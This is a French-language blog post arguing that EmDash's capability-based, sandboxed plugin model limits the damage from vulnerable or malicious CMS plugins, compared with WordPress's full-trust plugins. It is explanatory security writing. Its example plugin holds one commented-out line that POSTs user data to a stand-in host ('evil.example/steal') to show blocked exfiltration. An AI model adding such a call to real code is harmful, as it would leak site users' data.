EmDash “successeur de WordPress” : le jour où j’ai compris que le vrai sujet, c’est le modèle de plugins

Si tu as déjà repris un WordPress en prod avec 42 plugins, tu connais la sensation. Le core, tu peux le patcher, le durcir, le surveiller. Mais les plugins, c’est une loterie permanente. Pas parce que « les plugins c’est mal ». Parce que le modèle d’exécution est historiquement full-trust : tu installes un bout de PHP, il tourne dans le même process, avec accès à tout ce que WordPress a sous la main. Et derrière, tu pries.

EmDash arrive avec une promesse assez culottée de « successeur spirituel de WordPress ». Je ne vais pas juger le marketing. Le truc intéressant, le vrai, c’est ailleurs : ils attaquent le problème par le modèle de plugins. Capabilities, sandbox, isolation façon Workers. Là, oui, il y a matière à se projeter, surtout si tu vis avec des sites client où « ajouter un plugin » est une décision produit prise en 30 secondes.

Pourquoi les plugins WordPress sont un risque structurel (même quand tu fais “les choses bien”)

On peut se raconter des histoires sur « il suffit de choisir des plugins sérieux ». En réalité, le risque principal vient du fait qu’un plugin WordPress s’exécute avec un niveau de confiance énorme. Concrètement, si le plugin a une vulnérabilité exploitable, l’attaquant peut souvent aller beaucoup plus loin que « casser une page » : lecture de secrets dans la base, accès filesystem, pivot vers l’admin, exfiltration de données, parfois exécution de code à distance selon les conditions.

Le pire, c’est le côté contagieux. Tu peux avoir un core clean et une config propre, mais une dépendance qui part en vrille (compte mainteneur compromis, release malveillante, update “accidentelle”) suffit à te mettre dans le mur. Et comme le plugin tourne “dans” WordPress, le blast radius est large par défaut. La question n’est même pas « est-ce que ça va arriver ? ». C’est « quand ça arrive, combien ça casse ? ».

La promesse d’EmDash : des plugins “capability-based” dans une sandbox

Ce qu’annonce Cloudflare avec EmDash, c’est un CMS TypeScript, orienté serverless, qui vise une compatibilité fonctionnelle avec le monde WordPress sans reprendre son code. La partie qui mérite ton attention : les plugins ne sont pas supposés être full-trust. Ils tournent isolés (via des isolates/Workers) et obtiennent des droits explicites via des capabilities.

Dit autrement : au lieu de partir du principe qu’un plugin peut tout faire (et d’essayer ensuite de limiter les dégâts), tu pars du principe inverse. Un plugin ne peut rien faire tant qu’il n’a pas reçu les capacités correspondantes. Pas d’accès « implicite » à la base, pas de lecture libre du filesystem, pas de réseau par défaut si ce n’est pas dans les capacités exposées. Ça ressemble à un détail d’architecture. En prod, c’est un changement de monde.

Et oui, ça rappelle des modèles qu’on connaît déjà ailleurs : permissions mobile, sandboxing navigateur, capability-based security. Sauf qu’ici, l’objet à isoler, c’est le truc le plus dangereux de l’écosystème CMS : le plugin tiers.

Ce que l’isolation réduit vraiment : RCE, exfiltration et supply-chain

Je vais être très concret : ce modèle ne rend pas les plugins « sûrs ». Il rend certaines classes d’incidents beaucoup moins catastrophiques.

Premier gain évident : si un plugin a une faille qui permet une exécution arbitraire, tu veux que cette exécution se passe dans une prison, pas dans ta maison. Dans WordPress, le plugin est déjà dans la maison. Dans une sandbox type isolate, tu peux limiter l’accès aux ressources sensibles. Un RCE devient « du code qui tourne, mais avec les mains attachées ».

Deuxième gain : l’exfiltration. Beaucoup d’incidents réels ne cherchent pas à « casser le site », ils cherchent à lire des secrets (tokens, clés API, données clients). Si le plugin n’a pas de capability pour parler au réseau, ou s’il ne peut parler qu’à des endpoints précis, tu coupes un gros canal d’exfiltration. Si le plugin n’a pas de capability de lecture sur certains stores, tu réduis ce qu’il peut voler même s’il est compromis.

Troisième gain : la supply-chain. Le scénario « une mise à jour plugin devient malveillante » est classique et brutal. Dans un modèle capabilities + sandbox, tu peux espérer que le plugin ne puisse pas, du jour au lendemain, faire n’importe quoi juste parce qu’il a été update. Il pourra faire ce que ses capabilities lui autorisent, point. La compromission reste grave, mais l’impact peut être beaucoup plus contenu.

Comparaison rapide avec WordPress : le “full-trust” par défaut

WordPress a déjà le mot « capabilities », mais ce n’est pas le même concept. Dans WordPress, les capabilities sont surtout un modèle d’autorisations côté utilisateurs (qui peut publier, administrer, installer, etc.). Ça ne sandboxe pas un plugin. Un plugin a accès à l’environnement PHP, peut appeler des fonctions globales, lire des fichiers, parler à la base via les APIs disponibles, et parfois sortir des rails très facilement.

Et même si tu mets en place des bonnes pratiques (plugins limités, WAF, durcissement, droits filesystem, séparation DB), tu restes sur un socle où l’unité d’isolation n’est pas le plugin. Le plugin est un citoyen de première classe dans le runtime. C’est confortable pour l’écosystème, beaucoup moins pour le risque.

À quoi ressemble un plugin “à capabilities” (l’idée, pas la doc)

Le concept que j’attends d’un système comme EmDash, c’est une relation simple : un plugin annonce ce dont il a besoin, la plateforme décide de ce qu’elle lui donne, et tout le reste est interdit. Pas « interdit par convention ». Interdit techniquement.

Typiquement, tu pourrais avoir un plugin qui demande juste d’émettre des événements analytics et de lire un petit store clé/valeur. S’il essaye de faire un fetch vers un serveur perso pour exfiltrer des emails, ça doit échouer parce que le plugin n’a pas reçu cette capability. Si tu dois “faire confiance” au plugin pour qu’il n’appelle pas le réseau, c’est déjà perdu.

// Exemple volontairement simplifié : l'idée, c'est le contrat.
export const plugin = {
  name: "simple-analytics",
  capabilities: [
    "kv:read",
    "kv:write",
    "events:emit"
  ],
  async onRequest(ctx) {
    // OK : écrire un compteur
    await ctx.kv.put("pageviews", String((Number(await ctx.kv.get("pageviews")) || 0) + 1));

    // KO (si non accordé) : exfiltrer vers un endpoint externe
    // await fetch("https://evil.example/steal", { method: "POST", body: JSON.stringify(ctx.user) });
  }
};

Ce qui m’intéresse là-dedans, ce n’est pas la syntaxe. C’est la possibilité d’avoir une conversation adulte entre l’équipe qui opère le site et le plugin : « tu veux quoi exactement ? » puis « ok, tu as ça, et rien d’autre ».

Ce que ça ne résout pas (et il faut l’accepter)

Je vois déjà le piège : croire qu’une sandbox te protège de tout. Non. Une sandbox protège surtout des abus de ressources et d’accès à l’environnement. Elle ne protège pas de la bêtise applicative.

Si ton plugin génère du HTML et qu’il introduit une XSS, l’isolation côté serveur ne te sauvera pas : la charge utile vit dans le navigateur. Si ton plugin a une logique métier foireuse (exposition de données via une route publique, contournement d’un contrôle d’accès parce que c’est mal codé), la sandbox n’empêchera pas le bug. Elle peut limiter l’exfiltration “active”, pas la fuite “fonctionnelle”.

Autre point : les dependencies. Un plugin TypeScript peut embarquer des paquets npm. Ça ne transforme pas magiquement la supply-chain en arc-en-ciel. Tu peux réduire l’impact, mais tu n’élimines pas le risque d’un code tiers vulnérable ou malveillant. Tu déplaces le curseur, tu ne l’effaces pas.

Les questions à se poser avant de dire “OK, j’y crois”

Le diable est dans les détails, et c’est exactement là que ce genre de projet se joue. Première question : la granularité des capabilities. Si c’est trop grossier, tu retombes vite dans « bon, je lui donne accès au réseau et à la data parce que sinon ça marche pas », et tu as perdu la moitié de l’intérêt. Si c’est trop fin, tu as un DX pénible et un écosystème qui n’avance pas. Il faut que ce soit fin là où ça compte (réseau, secrets, data, admin) et simple là où ça doit rester simple.

Deuxième question : l’observabilité et l’audit. Si tu ne peux pas voir clairement quelles capabilities sont accordées, quand un plugin les utilise, et ce qu’il essaye de faire quand il se fait bloquer, tu vas opérer à l’aveugle. En sécurité, l’absence de logs exploitables, c’est une dette. Et une dette qui se paye au pire moment.

Troisième question : le modèle de distribution et de mise à jour. Est-ce qu’on signe les plugins ? Est-ce qu’on peut pinner une version ? Est-ce qu’on peut faire des rollbacks propres ? Est-ce qu’on peut imposer une revue humaine pour certaines capabilities “dangereuses” ? Parce qu’un plugin isolé mais updaté automatiquement sans contrôle, ça reste une surface d’attaque, juste mieux compartimentée.

Dernière question, plus “infra” : les limites réelles de l’isolation. Les isolates/Workers sont très bons pour cloisonner, mais aucune isolation n’est magique. Il y a des limites de CPU, mémoire, temps d’exécution, et il peut y avoir des bugs de runtime. Ce n’est pas un argument contre. C’est juste une réalité à garder en tête : tu remplaces un grand risque diffus par des risques plus spécifiques, plus mesurables, souvent plus gérables.

Mon avis : le “successeur de WordPress” n’est pas le point, le plugin model oui

Je ne sais pas si EmDash deviendra un WordPress 2.0. Franchement, ce n’est même pas la bonne métrique. Ce que je trouve excitant, c’est qu’on met enfin le doigt sur le cœur du problème : un écosystème de plugins ne peut pas reposer sur la confiance implicite si tu veux tenir à l’échelle.

Si tu es agence ou dev qui gère des sites client, le vrai bénéfice potentiel n’est pas “un CMS plus moderne”. C’est la possibilité de dire non à certains risques par design. De transformer « installer un plugin » en décision qui a un périmètre clair. Et d’arrêter de vivre avec cette sensation désagréable que ta sécurité dépend du dernier plugin à la mode installé à 18h un vendredi.

Sources

• Cloudflare Blog — Introducing EmDash (spiritual successor to WordPress that solves plugin security)